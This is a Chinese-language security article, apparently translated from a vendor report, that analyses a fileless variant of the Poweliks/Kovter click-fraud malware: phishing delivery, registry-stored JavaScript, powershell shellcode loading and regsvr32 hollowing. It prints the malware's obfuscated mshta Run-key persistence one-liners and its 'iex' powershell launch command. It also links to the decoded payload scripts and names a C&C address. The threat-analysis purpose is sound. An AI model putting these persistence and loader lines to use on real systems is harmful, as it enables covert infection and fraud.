Poweliks:不断进化的免文件型恶意软件

2015-11-10 292760人围观 ,发现 3 个不明物体 其他

Poweliks(实际上应该叫做Kovter)是一款著名的点击欺诈软件,它于2014年首次被曝光(FreeBuf曾有过报道),由于它使用了一种特殊的潜伏技术而迅速蜚声天下:它并非隐身于磁盘文件中,而是藏身于让人意想不到的Windows注册表内。实际上,该软件不仅首次面世就一鸣惊人,而且,此后它也一直处于不断进化之中。

本文将向读者介绍Poweliks的一个新变种,它的特点是具备令人难以置信的低检出率。

0×00 摘要

自2015年7月以来,我们一直在监视利用著名的免文件型恶意软件Poweliks来躲避杀毒软件的检测的恶意软件的活动。这款恶意软件可能是一个变种,它的设计目标之一就是“不要显山露水”;与之前的变种不同的是,它虽然没有利用漏洞或UAC绕过技术,但是隐身效果却毫不逊色,并且极少被杀毒软件检测到。好消息是,事实证明行为分析针对这种威胁的效果还是非常好的,因此,杀毒软件公司必须及时利用该技术识别此类威胁,才能为用户提供及时的保护功能。

0×01 传播手段

我们的客户收到了如下所示的伪装成美国航空公司的机票收据的电子邮件。

图1 Poweliks电子邮件

这封电子邮件发自mrsfitness[.]com,看起来像是被攻击者控制的一个域名。

在本例中,该邮件并没有引起网关上安装的杀毒软件和反立即邮件系统的任何怀疑。在该邮件的附件中,包含有一段经过混淆处理后的javascript代码,该代码的作用是触发系统去下载并执行一个恶意的可执行文件。

图2 还原后的JavaScript代码

自从7月份监视该软件的活动以来,我们总共收到过三种不同形式的电子邮件:

机票收据
发票
法院传票

该恶意软件的主要攻击对象全部位于美国。

0×02 有效载荷

这个恶意软件下载的文件是经过加密处理的,此外,为了给分析者制造障碍,它的程序代码故意弄得跟一团麻似的,同时,为了成功绕过沙箱分析,它还是针对特定的Virtualbox的。

Filename: 88655116.exe Hash-SHA256: 673b384836483b3db628e3cc2eda5683a209837ea7da0a4c0749ea496e2a644a Size: 412.210

它的检出率依然非常低,并且对于该恶意软件的分类也是不对的。

图3 杀毒软件对于Poweliks的检测情况

该恶意软件脱壳之后,会检测是否存在VirtualBox VM,这一行为在之前是我们所没有发现的。在第二个阶段,它会随机生成两个注册表项,然后通过mshta.exe生成一个powershell实例,随后,会用这个powershell继续生成一个注入式的regsvr32.exe实例。下面是相应的注册表项:

图4 Poweliks的注册表项

在mshta.exe包含有一小段javascript代码,如下所示:

ZKk7pWSkz=”3pVjfxK58″;Z6v7=new%20ActiveXObject(“WScript.Shell”);qojKj0pk=”McEb”;sEAn4=Z6v7.RegRead(“HKCU\\software\\ZiqReaBa\\Xp20Zk”);mAN16NzLz=”nmOa4g1u”;eval(sEAn4);UtbW0ZYxq=”R5V5xTB”;

很明显,这段代码是经过了混淆处理的,还原后的代码如下所示:

图5 还原后的javascript代码

上述代码的作用是,读取刚才创建的注册表项,并执行其内容,这里的内容实际上还是一段混淆后的javascript代码,如果将其还原的话,大致如下所示:

图6 注册表项中的javascript代码

这段代码的作用是,对二进制串进行译码,并执行之。由于这个二进制串太长了,所以这里已经将其删除掉了,如果读者需要进行分析的话,可以从http://pastebin.com/mrw4Csja找到。

在解密之后,它看起来像是一个powershell脚本,作用是根据嵌入到该脚本内部的shellcode来创建一个线程。

图7 Poweliks中的powershell脚本

这个脚本将会插入到一个环境变量中,之后该变量将直接被传递给powershell:

“C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe” iex $env:vsxf

我们已经完整还原出了这个脚本,如果大家需要分析的话可以从http://pastebin.com/dnkQC1UE下载。那么,这个shellcode又是意欲何为呢? 为了弄清楚这一点,我们必须先将其反汇编,并进行相应的调试才行。这段shellcode的作用是解析一些API(VirtualAlloc()、 ExitProcess()、RegOpenKey()、RegQueryValue()、GetProcAddress()、LoadLibrary()),而这些API的作用则是读取前面提到的注册表项的内容,对其内容进行译码,并执行之。这里的解密例程非常简单,并且会用置换表来存放1到0×100这些递增的数字,这些值是用来对加密字节进行异或运算的:

图8 Poweliks的解密例程

这些代码在解密之后就会被运行。它会执行regsvr32.exe,然后将其“掏空”,下面是我们的分析引擎的输出结果:

图9 Poweliks的替身regsvr32.exe

下面我们来看看偷梁换柱的具体过程:

图10 Poweliks的生成树

要是没有后备机制的话,就不会有Poweliks了,因为有些东西会出错,如果进程由于某种原因出错的话,那么主进程就会试图直接生成一个regsvr32.exe实例,以便为注入做最后的一次尝试。

图11 Poweliks的后备注入

Powershell终止后,会给我们留下一个运行状态下的regsvr32.exe实例,它的任务是利用自身生成第二个实例,并完成注入操作等,实际上它要做的事情还不少:首先,将整个恶意软件隐藏到HKCU/Software/Microsoft/Windows/CurrentVersion/Run处的持久性的注册表项中,不过,这里需要用到一个解析技巧,以便使得regedit.exe无法直接读取这个持久性的注册表项:

图12 Poweliks的持久性注册表项

下面是用到的一个注册表项,注意其名称中的前导反斜扛:

“a1f309e8″=”mshta javascript:judNSd2v=”4S”;T80G=new%20ActiveXObject(“WScript.Shell”);OlXOQ8j4=”jWqM4PKDvF”;pd6D2R=T80G.RegRead(“HKCU\\software\\ZiqReaBa\\Xp20Zk”);qeV4j2Wz=”Y7wjctoseg”;eval(pd6D2R);WFNQgoB1b=”idEjYnCb”;”
“9460666d”=”mshta javascript:Zfvtt1o3=”uue”;m3S=new%20ActiveXObject(“WScript.Shell”);tMAUk0Ua=”Zc8″;Qs4Xs3=m3S.RegRead(“HKCU\\software\\ZiqReaBa\\Xp20Zk”);q9FywZTi=”X”;eval(Qs4Xs3);XFCt5IgZO=”IGrWu”;”

即使没有经过还原处理,我们依然可以看出它们依旧是要利用注册表项中的javascript代码从事感染活动。严格来讲,Poweliks并不是一个纯粹的免文件型恶意软件,但是它离这个概念已经非常接近了。达到持久性的潜伏目的之后,它还会再新建一些注册表项,尤其是会用它们来隐藏一个用户代理及其相应的命令请求:

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)

这个用户代理是从下面的列表中选出来的:

Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko
Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30729)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)

这样以来,就可以进行浏览器注入攻击了,那些倒霉的用户会看到一些新的广告和虚假的警告,由于Poweliks具有下载功能,所以一旦系统感染了它,理论上就可能进一步下载其他类型的恶意软件。根据我们的监控,目前发现它会访问一个C&C服务器,地址为 H**p://185.102.139.93/form2.php。尽管在二进制代码中嵌入了许多IP,但我们没有展开进一步的实际调查,不过它们很可能是一些流氓AD服务器。

0×03 总结

当前,Poweliks的功能依旧保持强大,其制作的工程化水平也是可圈可点的。由于该恶意软件几乎不藏身于文件之中,因此,它能够愚弄大多数的安全解决方案。在Poweliks之前的版本中,它曾经使用过一些安全漏洞和不同的UAC绕过技术,不过就近期的监控来看,当前的版本好像没有再沿用这些手段,不过,尽管它没有对大部分代码进行重构,但是其检出率依然保持很低。事实再次证明,相对于基于标准特征的杀毒解决方案来说,基于人工智能的行为分析技术在检测和防护新型或进化中的安全威胁方面要更加有效。

*参考来源:reaqta,编译/I12016,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

更多精彩
发表评论

已有 3 条评论

取消
Loading...

特别推荐

推荐关注

活动预告

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php